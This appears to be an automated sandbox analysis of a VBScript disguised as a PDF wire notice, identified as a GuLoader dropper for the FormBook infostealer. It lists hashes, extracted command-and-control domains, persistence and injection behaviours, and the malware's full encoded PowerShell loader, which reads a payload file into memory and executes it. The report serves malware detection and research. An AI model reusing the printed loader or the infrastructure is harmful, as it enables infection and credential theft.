Analysis
-
max time kernel
154s -
max time network
133s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
21-01-2022 14:24
Static task
static1
Behavioral task
behavioral1
Sample
Wire-84844663637346665.PDF.vbs
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
Wire-84844663637346665.PDF.vbs
Resource
win10-en-20211208
General
-
Target
Wire-84844663637346665.PDF.vbs
-
Size
75KB
-
MD5
2eb1625e8d4e3f9b19ab947d188d0be8
-
SHA1
7aad4e8d8f521d1c36a7468418047c8a5751b7e9
-
SHA256
354529cf4cd5498c64a0c69c6dd9eb8962250542eea7f89a76faf64f5086da35
-
SHA512
7e2f8553d3375d1cfe0132a3abe854a1457f08c1f3c6bfbe730c044fec1a127f3a9405c59b1f620f91ea76b7eb7d68fce78058b68f4a69437d2e08b0879ad517
Malware Config
Extracted
formbook
4.1
ty13
renatocarrion.com
inadmaa.email
dgsgamer.com
scentsofhome.com
vimeghbrandshop.online
seaxneat.com
10448se147thave.com
msewy.xyz
greekgolden.com
thinktosolve.com
darmadao.com
patriotproperties.info
erwsed.tech
iamanocelot.com
marketinginspiration4.biz
googleprog.com
nz34.com
xu6cotckdwbd.xyz
jimmychenchen.com
kntfashionstore.online
ogusourcing.com
digitalgraz.com
nomiehalth.com
neatoboutique.com
luziaeeveraldo.com
kootenaysewersolutions.com
powerplantsliverpool.com
allinclusiveplaya.com
jldphotograph.com
threedaydeli.com
sv7wgmna.xyz
reformasmod.com
autoconnect.support
hustle1radio.com
thepremiersales.com
transform.guide
awolin.link
sala1.xyz
xn--er-7ka.com
leadthisway.com
bluegrownmx.com
tablewaro.com
ecoprimex.com
gloress.com
khodabavar.com
verhuisdoos.net
accessftlauderdale.com
gorgeousincome.com
jxs6652.com
bioheallabs.com
pdswakl.com
douglasacessorios.com
coincapmjd.xyz
liningning.xyz
buyoutz.site
agvtime.com
homeit99.com
caveatcooperative.com
honeyboxsoap.com
snoringdisorders.com
dianziyanpeijian.com
pcc.life
lookbypc.com
osldjz.com
recountsol.xyz
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/440-77-0x0000000000400000-0x000000000069B000-memory.dmp formbook behavioral1/memory/440-78-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/568-83-0x00000000000B0000-0x00000000000DF000-memory.dmp formbook -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
wscript.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run wscript.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DT8PFTBPRT = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe" wscript.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
powershell.exeieinstal.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe ieinstal.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
wscript.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run wscript.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
ieinstal.exepid process 440 ieinstal.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exeieinstal.exepid process 872 powershell.exe 440 ieinstal.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exeieinstal.exewscript.exedescription pid process target process PID 872 set thread context of 440 872 powershell.exe ieinstal.exe PID 440 set thread context of 1248 440 ieinstal.exe Explorer.EXE PID 568 set thread context of 1248 568 wscript.exe Explorer.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
wscript.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 wscript.exe -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeieinstal.exewscript.exepid process 872 powershell.exe 440 ieinstal.exe 440 ieinstal.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeieinstal.exewscript.exepid process 872 powershell.exe 440 ieinstal.exe 440 ieinstal.exe 440 ieinstal.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe 568 wscript.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeieinstal.exewscript.exedescription pid process Token: SeDebugPrivilege 872 powershell.exe Token: SeDebugPrivilege 440 ieinstal.exe Token: SeDebugPrivilege 568 wscript.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
WScript.exepowershell.execsc.exeExplorer.EXEwscript.exedescription pid process target process PID 1672 wrote to memory of 872 1672 WScript.exe powershell.exe PID 1672 wrote to memory of 872 1672 WScript.exe powershell.exe PID 1672 wrote to memory of 872 1672 WScript.exe powershell.exe PID 1672 wrote to memory of 872 1672 WScript.exe powershell.exe PID 872 wrote to memory of 1872 872 powershell.exe csc.exe PID 872 wrote to memory of 1872 872 powershell.exe csc.exe PID 872 wrote to memory of 1872 872 powershell.exe csc.exe PID 872 wrote to memory of 1872 872 powershell.exe csc.exe PID 1872 wrote to memory of 892 1872 csc.exe cvtres.exe PID 1872 wrote to memory of 892 1872 csc.exe cvtres.exe PID 1872 wrote to memory of 892 1872 csc.exe cvtres.exe PID 1872 wrote to memory of 892 1872 csc.exe cvtres.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 872 wrote to memory of 440 872 powershell.exe ieinstal.exe PID 1248 wrote to memory of 568 1248 Explorer.EXE wscript.exe PID 1248 wrote to memory of 568 1248 Explorer.EXE wscript.exe PID 1248 wrote to memory of 568 1248 Explorer.EXE wscript.exe PID 1248 wrote to memory of 568 1248 Explorer.EXE wscript.exe PID 568 wrote to memory of 1084 568 wscript.exe Firefox.exe PID 568 wrote to memory of 1084 568 wscript.exe Firefox.exe PID 568 wrote to memory of 1084 568 wscript.exe Firefox.exe PID 568 wrote to memory of 1084 568 wscript.exe Firefox.exe PID 568 wrote to memory of 1084 568 wscript.exe Firefox.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Wire-84844663637346665.PDF.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBCAGEAYwBvAG4AZwAgAFMAbABlAHQAbgAgAEYARQBKAEwAUABMAEEAIABWAGkAbgBkAGYAbAA0ACAAZgBhAHIAYQAgAGEAcgB0AGUAcgAgAE8AdgBlAHIAYQByAG8AIABDAEkATgBFAE4ARQBHACAARABkAHMAbwBmAHIAZQByADEAIABCAFIASQBUAFQATABFAFAAQQAgAFMAZQBtAGkAYwBvAHIAbwBuACAAQgB1AG4AZABkAHkAcgBlADEAIABVAE4ATQBBAE4AQQBHACAAUgBJAEMATwBDAEgARQBUACAAaABlAG4AcgBlAGcAbgAgAEkAbgBkAGQAZQBsAGkAbgBnAGUAMQAgAFIATwBUAEEAVABJACAATwB2AGUAcgBmAG8AZAByAGUAcwAxACAAUQBVAEkARQBUACAAYQByAGEAYgBhAG4AIABJAE4ARABEACAAdQBiAGUAdABpAG0AZQAgAGEAawB0AGkAdgBpAHMAdAAgAHAAZQByAHQAdQByAGIAZgAgAEoAQQBHAEUAUgBFAE4AIABLAEkATABPAE0ARQBHAEEAIABBAGMAaABvAG4AZAByACAAQgBuAG4AZQAgAEMAbwBuAGcAcgBlAGcAMwAgAEIAUgBBAE4ARABFAE4AIABJAG4AZwBlAG4AaQByAHQAMgAgAFIAZQB2AG8AIABTAGMAaQByACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABIAGEAbgBkAGwAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAEgAYQBuAGQAbAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABOAE8ATgBNAEEATABJAEcALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAsAHIAZQBmACAASQBuAHQAMwAyACAASABhAG4AZABsACwAaQBuAHQAIABCAG8AcgBkAHMAawA2ACwAaQBuAHQAIABIAGEAbgBkAGwANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABEAEEAVQBHAEgAVABFAFIALAB1AGkAbgB0ACAAVABhAG4AegBhAG4AaQA1ACwAaQBuAHQAIABoAGEAYQBuACwAaQBuAHQAIABIAGEAbgBkAGwAMAAsAGkAbgB0ACAARgBhAGwAbABhAGMAaQBlAHMANQAsAGkAbgB0ACAAQgBHAEUAUgAsAGkAbgB0ACAAUQB1AGkAbgBxAHUAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAwACwAdQBpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAxACwASQBuAHQAUAB0AHIAIABtAGUAdABhAHQAZQBnAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAAbQBlAHQAYQB0AGUAZwBuADMALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABtAGUAdABhAHQAZQBnAG4ANQAsAGkAbgB0ACAAbQBlAHQAYQB0AGUAZwBuADYALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgA3ACwAaQBuAHQAIABtAGUAdABhAHQAZQBnAG4AOAAsAGkAbgB0ACAAbQBlAHQAYQB0AGUAZwBuADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAVgBlAGoAcgBmAG8AOQAgAGMAbABvAGMAawByAGEAIABMAEkATQBCACAATwB2AGUAcgBtADYAIABIAHkAcABlAHIAIABEAGkAcwBkAGEAaQBuACAAbgBvAG4AYwBvAG4AIAB0AG8AbABkAGEAdAB0AGUAcwAgAFMAdQBsAGMAYQAgAE8AcAByAGUAdABoAG8AbAAgAGgAbwBsAG8AYwBoAG8AcgBkAGEAIABLAG8AbgB0AHIAbwBsAGsAbwBtACAARgBpAGwAdABlAHIAIABCAGUAcgBnAG0AYQBuAG4AcwAgAEMATwBFAE4AVQBSAEkAIABEAEEARwBOACAAVQBEAFIASwBTAFMAVABSAEEAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAGIAbABhAGEAbAB5AHMAZQBuAGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwB1AGcAbABlAHAAZQAxACIAIAANAAoAJABIAGEAbgBkAGwAMwA9ADAAOwANAAoAJABIAGEAbgBkAGwAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABIAGEAbgBkAGwAOAA9AFsASABhAG4AZABsADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQASABhAG4AZABsADMALAAwACwAWwByAGUAZgBdACQASABhAG4AZABsADkALAAxADIAMgA4ADgALAA2ADQAKQANAAoAIwBEAEUARgBJACAATgBvAG4AdAAyACAAbgBvAG4AYwBvAG4AcwB0ACAAbwB2AGUAcgB0AGUAbgBhAGMAIABpAGcAZAByAGEAcwBpAGwAbQBhACAAbABhAGEAbgB0AGEAZwBlAHIAZQAgAEEATQBQAEgATwBEAEEAIABHAEEATABFAEgAVQBTAFMASABBACAAUAByAGkAbQBvAHIAZABpAGEAaQAgAEEAdQB0AGUAbgB0ADUAIABWAGkAcwBjADcAIABDAG8AbAB1AG0AbgBpAHMAdABzACAAZgBvAHIAYgB5AHQAIABzAHAAcgByACAAUAB5AHIAZQB4AGkAYQAgAGIAbABhAHQAdABpAGYAIABrAHkAbABsAGkAbgBnAGUAaAAgAEwASQBWAEYAVQBMAEQAVABWACAAcwBoAGEAdAB0AGUAcgBpACAATQBBAEEATABTAFQATgBJAE4AIABTAGUAbQBpAHIAYQBkADUAIABGAG8AcgBzADUAIABJAE0ATQBJAFQASQBHAEEAQgBJACAASwBBAFAAQQBDACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBGAEUATQBIAFUATgAiACAADQAKACQASABhAG4AZABsADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAG0AeQBzAHQAZQAuAGQAYQB0ACIADQAKACMAUwB2AGkAbgBrAGUAcgBlAG4AZAAgAGQAdQBjAGgAZQBzACAAQgBqAGUAcgBnAG0AIABzAG8AYwBpAGEAbABkAGUAbQAgAEIAZQBsAG8AcwB0AG8AbQAgAEMAbwBoAG8AYgA1ACAAQQBSAEkAVABIAE0AIABQAG8AbAB5AGcAeQBuAGkAcwA3ACAAdAByAGEAbgBzAG0AaQBzAHMAaQAgAA0ACgAkAEgAYQBuAGQAbAA0AD0AWwBIAGEAbgBkAGwAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAEgAYQBuAGQAbAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAGQAZQByAGkAdgBlAHIAZQBuAGQAIABoAGUAYQB1AG0AZQBzAHIAYQB2ACAAYgB2AGUAcwB1ACAARgBBAEwARABFACAAUwBFAFIAVgBJAEMARQBLACAAVABSAEkARwBFACAARwBsAGEAbQBtAGUAbgAgAG0AZQBsAGkAbwBsAGEAdABpAGwAIABBAEsASwBPACAAQgBVAFAASAAgAFQAYQB4AGEAawByAHMAbABlACAARABpAHMAYwBvAHUAcgAxACAAVABhAGsAawBlAGsAOQAgAFQAUgBFAEUATABJAE4AIABCAEEARABMACAAZABlAGIAYQByAGsAZQAgAGsAZQBuAHQAbAAgAFMAcABhAG4AZABlACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgB0AGkAbAByAGEAYQAiACAADQAKACQASABhAG4AZABsADUAPQAwADsADQAKACMAQQBuAGEAbAB5AHMAZQB2AHIAIABKAEUAUgBTAEUAWQBLACAAdQBkAGIAZQBkAHIAZQBjACAAYgBpAHIAawBlACAAdgBhAG4AZAB0AHQAdQBrAHIAIABKAGUAbgBvAHAAOAAgAFAAZQByAGkAbgAxACAAdgBhAGEAYgBlAG4AYgByAHUAZwAgAEwAaQBjAGUAcABpADYAIABQAGEAdAByADQAIABoAHkAcABuAG8AdABpACAAQQBpAGwAcwB5AHQANAAgAFUAbgBuAGEAdQBzAGUAYQA0ACAARABlAHMAcABlADgAIABTAEkATgBVAE8AVQAgAEsAbwBuAGMAZQBuAHQAcgBhAHQANQAgAEcARQBOAEQAUgBJAFYAIABCAE8AUgBUAEYAIABBAG4AYQBiAG8AbgBnAHYANAAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBpAG4AZwBsAGUAcABsAGEAIgAgAA0ACgBbAEgAYQBuAGQAbAAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQASABhAG4AZABsADQALAAkAEgAYQBuAGQAbAAzACwAMgA2ADAAMgA2ACwAWwByAGUAZgBdACQASABhAG4AZABsADUALAAwACkADQAKACMAZAByAGEAbgBrAGUAcgBlAHMAZwAgAEQAaQBwAGgANQAgAHMAdQB0AHMAawBvAGUAbgAgAFIATwBQAEUAVABSAEkAQwBLACAAUwB0AGoAZQByAG4AZQBzADYAIABSAGEAbABsADgAIABGAGkAZgBmACAARAB1AG4AZAAgAG0AYgBlAGwAZgBhAGIAcgBpACAASABhAHUAbQBwAG8AdABhAG0AIABhAG0AbQBvACAAVQBNAEIARQBMAEwAVQBMAEEAIABTAHAAYQBsAGkAcgBjAGgAcgBpACAAVABoAHIAZQBlAGYAYQA1ACAARwBvAGEAZABzAHQAZQByAGIANAAgAEkAbgBlAHgAcAB1AG4AZwBlADgAIABDAGEAcgBuAGkAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMAQQBOAEkATwBVAFMAUgBBACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQAZQBhAHMAYQBmAHIAdQA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARQBNAEkATABJAEMASABSAEUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBJAEwATwBUAE8ATgBOAEUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBJAFIASwBFACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAZgBmAG8AdAAzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBkAGkAdgBpAHMAaQBvACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHUAawByAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBWAEEAUgBUAFMAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAdwBpAG4AZQBkAHUAbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAE8ATQBBAEQASQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBWAGkAYwBlAGcAcgBlAHYAZQByACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHEAYQBmAHQAbwBwAGwAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBVAG4AcgBlAGEAbABuAGUAOQAiACAADQAKAFsASABhAG4AZABsADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAEgAYQBuAGQAbAAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uejfjqdz.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4931.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4930.tmp"5⤵
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\SysWOW64\wscript.exe"2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RES4931.tmpMD5
4c70b0d380b56851a22ed417bfaf5a60
SHA134245c1dde02c6f8312522dc96658e8288d84463
SHA256ea2e0af3c017b68ce5f196188c334bbef6ff0aa0fa3b6fdf256522fe1c65a679
SHA51237ee92383444c63e8505725c6d75212966dd37340771a731aa9750a13a1ac026ab2b2fddb372c6b194e84d8bfe084239a08db14335128cc82071526d1ceb233e
-
C:\Users\Admin\AppData\Local\Temp\myste.datMD5
b7a51df9fa975379cd0c8ebb06e4c9aa
SHA1fd88dbf8ad8d28befa9ea1da48cfaff719867321
SHA2564e24caf3042584cce2d363784f2f5353b57a86b3a482d8924ae25daba212502c
SHA5120ae3237b03cddd4a8b992f563ec22f7e00847488744ccefaf52554162b1c8bb691a4ad68de7868ef05b09d57a570ef1d33940a5b8ccd6b0680979208f13e5d94
-
C:\Users\Admin\AppData\Local\Temp\uejfjqdz.dllMD5
0a5fb37f401dd3fbc128fdc3877ecae9
SHA1a4913065020992b4bd46e780584a5f3cf09df6b7
SHA256553c6b194c73d04936a76291cf89ac1e7b6907f4079bd1a465e874a88ac8b010
SHA51203db17724078066d1b2b9118f7b1ab2be42c9e0ef021cc338659ec170cf2e85ac2f30078cfccaf119d909c5a8267c789a163e962e0101079f2e9e61a89ccfe45
-
C:\Users\Admin\AppData\Local\Temp\uejfjqdz.pdbMD5
b8abcc82e512ee41b677293ee47ef941
SHA1e4b3fa53602687852c428de0d6675e7b71f6f100
SHA2563014dfb0a9617d302e89375e3aa238b7ef7e29ef8984b6a9cdecab5da635db08
SHA512d708788eb53c53738f6c95dfa004a50c316edc70db4aef9c20f441584637f22accad7c79fddb60071f64f886de123c072a6ece2f01e5e2a99da4a0792106b24f
-
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogim.jpegMD5
1b04fbe7973f17b5e3e0fb26d1c107e7
SHA151c36e3b610da8c0c0ff4d15c3c37fe80aa65555
SHA256adb0953449dcf4682fe6fb272f1588a62bdd52d0347dc4365951c5d71959d238
SHA512e5a6e0c8cf32668b3ab701e39a47fee08643bc9039a335c02726e88eec95866a7bc00bbe3c183c5186a83c6c790a701b25f798e9682025a373bdcd457e9837a1
-
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogrf.iniMD5
2f245469795b865bdd1b956c23d7893d
SHA16ad80b974d3808f5a20ea1e766c7d2f88b9e5895
SHA2561662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361
SHA512909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f
-
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogri.iniMD5
d63a82e5d81e02e399090af26db0b9cb
SHA191d0014c8f54743bba141fd60c9d963f869d76c9
SHA256eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae
SHA51238afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad
-
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogrv.iniMD5
ba3b6bc807d4f76794c4b81b09bb9ba5
SHA124cb89501f0212ff3095ecc0aba97dd563718fb1
SHA2566eebf968962745b2e9de2ca969af7c424916d4e3fe3cc0bb9b3d414abfce9507
SHA512ecd07e601fc9e3cfc39addd7bd6f3d7f7ff3253afb40bf536e9eaac5a4c243e5ec40fbfd7b216cb0ea29f2517419601e335e33ba19dea4a46f65e38694d465bf
-
\??\c:\Users\Admin\AppData\Local\Temp\CSC4930.tmpMD5
8d9d98fa302142c214c96074e971191d
SHA166ec2299e4deb0814e24a1ef95be4e11e86fb956
SHA256398508675aef2a162eebf9ec1ebb240b5fc79eebf82ffbd82b47e00680bdbdcd
SHA512e7828a6ea8702dd1b4585e7d2d414bde4eb1bbce76897303d2f5cee46ba8ad8382b08f834ddbda74557fc2ed94d468a30b090c71ec5e42b61f943761c1128097
-
\??\c:\Users\Admin\AppData\Local\Temp\uejfjqdz.0.csMD5
56063e7808df0479a9609de80e1b9f58
SHA1e91b058ef18df8bf200d09718c2f94652320be9a
SHA256a5410108ea6f6870414f8e11d765587b22d75d20f0806e0113c1e1ce0d01fe28
SHA512dae399a0fce1282ad28984466b7724c1cafa0dc7fee7c3bbd6d15f9c519e811021eec579e83cf7af35556322999ed67ada8baa03b0cad09d5e0faa1bc52207b8
-
\??\c:\Users\Admin\AppData\Local\Temp\uejfjqdz.cmdlineMD5
69cdfb2a87fae20c3825f7f58a3aaa3f
SHA195fa78b8fab610b2adc27514d3ece57534d3814b
SHA2566fe2d9d256f048096b4aece1eaf1bba6cd064414865da49b5a064c50062acbb3
SHA5127af6766324385aed354c95c7baee8d9609b8e7bfb5d3b69ae8e160920d0cd79e125a172f37a74583c4dafa0eaef88686d5fe716c4b1398cb90de787d8da48773
-
memory/440-79-0x000000001CC30000-0x000000001CF33000-memory.dmpFilesize
3.0MB
-
memory/440-76-0x0000000077250000-0x00000000773F9000-memory.dmpFilesize
1.7MB
-
memory/440-80-0x000000001BAF0000-0x000000001BB04000-memory.dmpFilesize
80KB
-
memory/440-70-0x0000000000170000-0x0000000000270000-memory.dmpFilesize
1024KB
-
memory/440-78-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/440-77-0x0000000000400000-0x000000000069B000-memory.dmpFilesize
2.6MB
-
memory/568-83-0x00000000000B0000-0x00000000000DF000-memory.dmpFilesize
188KB
-
memory/568-82-0x0000000000FB0000-0x0000000000FD6000-memory.dmpFilesize
152KB
-
memory/568-84-0x0000000000C80000-0x0000000000F83000-memory.dmpFilesize
3.0MB
-
memory/568-86-0x0000000000470000-0x0000000000503000-memory.dmpFilesize
588KB
-
memory/872-56-0x0000000002520000-0x000000000316A000-memory.dmpFilesize
12.3MB
-
memory/872-71-0x0000000077250000-0x00000000773F9000-memory.dmpFilesize
1.7MB
-
memory/872-67-0x0000000005A70000-0x0000000005B70000-memory.dmpFilesize
1024KB
-
memory/872-55-0x0000000075341000-0x0000000075343000-memory.dmpFilesize
8KB
-
memory/872-72-0x0000000077430000-0x00000000775B0000-memory.dmpFilesize
1.5MB
-
memory/872-58-0x0000000002520000-0x000000000316A000-memory.dmpFilesize
12.3MB
-
memory/872-57-0x0000000002520000-0x000000000316A000-memory.dmpFilesize
12.3MB
-
memory/1248-81-0x00000000061F0000-0x0000000006359000-memory.dmpFilesize
1.4MB
-
memory/1248-87-0x00000000080A0000-0x00000000081F9000-memory.dmpFilesize
1.3MB
-
memory/1672-54-0x000007FEFBAD1000-0x000007FEFBAD3000-memory.dmpFilesize
8KB
-
memory/1872-61-0x00000000020A0000-0x00000000020A1000-memory.dmpFilesize
4KB